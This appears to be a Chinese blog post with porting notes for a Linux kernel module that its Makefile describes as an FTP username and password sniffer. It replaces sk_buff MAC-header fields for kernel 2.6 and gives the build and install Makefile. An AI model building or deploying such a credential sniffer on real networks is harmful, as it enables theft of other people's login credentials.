mac中沒有成員ethernet,但是由於ethernet和raw描述的是同一塊數據:ethernet是用指定的數據結構來描述鏈路層的報文頭,而raw作爲一個char指針,也指向鏈路層的報文頭。所以,只需要對原來的代碼中的ethernet
用raw的表達式替換就行。
替換如下:
(1):282行
 sb->data = (unsigned char *)sb->mac.ethernet;

替換爲
 sb->data = (unsigned char *)sb->mac.raw;

(2):287,288,290行的
 sb->mac.ethernet->h_dest


memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),


 memcpy((sb->mac.ethernet->h_source),


替換爲:
 sb->mac.raw


memcpy((sb->mac.raw), (sb->mac.raw + 6),


 memcpy((sb->mac.raw + 6),


因爲raw指向鏈路層頭,則sb->mac.raw表示目的MAC地址,sb->mac.raw + 6 表示源地址。
這樣就好了
準帶附上2.6下的Makefile
#Author: duanjigang <[email][email protected][/email]> <[email][email protected][/email]>

#Date:  2006-5-12 2008-01-11l凌晨更新for kernel 2.6

#DESP: A FTP user and passwd get sniffer

TARGET = nsniffer

obj-m := $(TARGET).o

KERNELDIR=/lib/modules/`uname -r`/build

PWD=`pwd`

default:

	$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

install:

	insmod $(TARGET).ko

	gcc -o get getpass.c

clean:

	rm -fr *.ko *.o 

	rmmod $(TARGET)


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章